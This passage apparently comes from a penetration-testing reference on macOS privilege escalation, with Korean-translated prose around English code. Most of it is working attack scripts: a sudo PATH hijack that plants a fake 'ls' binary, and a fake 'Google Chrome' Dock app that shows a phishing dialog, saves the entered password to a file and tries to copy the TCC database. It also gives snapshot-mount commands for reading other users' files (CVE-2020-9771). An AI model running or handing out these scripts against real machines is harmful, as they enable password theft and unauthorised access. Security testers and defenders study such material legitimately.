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macOS Privilege Escalation

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TCC 권한 상승

TCC 권한 상승을 찾고 계신다면 다음으로 가세요:

macOS TCC

리눅스 권한 상승

리눅스/유닉스에 영향을 미치는 권한 상승에 대한 대부분의 트릭은 MacOS에도 영향을 미친다는 점에 유의하세요. 따라서 다음을 참조하세요:

Linux Privilege Escalation

사용자 상호작용

Sudo 하이재킹

원래 Sudo 하이재킹 기법은 리눅스 권한 상승 게시물에서 확인할 수 있습니다.

그러나 macOS는 사용자가 **sudo**를 실행할 때 사용자의 **PATH**를 유지합니다. 이는 이 공격을 달성하는 또 다른 방법이 피해자가 sudo를 실행할 때 여전히 실행할 다른 바이너리를 하이재킹하는 것이 될 수 있음을 의미합니다.

# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
chmod +x /opt/homebrew/bin/ls

# victim
sudo ls

Note that a user that uses the terminal will highly probable have Homebrew installed. So it's possible to hijack binaries in /opt/homebrew/bin.

Dock Impersonation

Using some social engineering you could impersonate for example Google Chrome inside the dock and actually execute your own script:

Some suggestions:

  • Check in the Dock if there is a Chrome, and in that case remove that entry and add the fake Chrome entry in the same position in the Dock array.

#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF

gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock

TCC - 루트 권한 상승

CVE-2020-9771 - mount_apfs TCC 우회 및 권한 상승

모든 사용자 (특권이 없는 사용자 포함)는 타임 머신 스냅샷을 생성하고 마운트하여 해당 스냅샷의 모든 파일에 접근할 수 있습니다. 필요한 유일한 특권은 사용되는 애플리케이션(예: Terminal)이 전체 디스크 접근 (FDA) 권한(kTCCServiceSystemPolicyAllfiles)을 가져야 하며, 이는 관리자가 부여해야 합니다.

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

보다 자세한 설명은 원본 보고서에서 확인할 수 있습니다.

민감한 정보

이는 권한 상승에 유용할 수 있습니다:

macOS Sensitive Locations & Interesting Daemons
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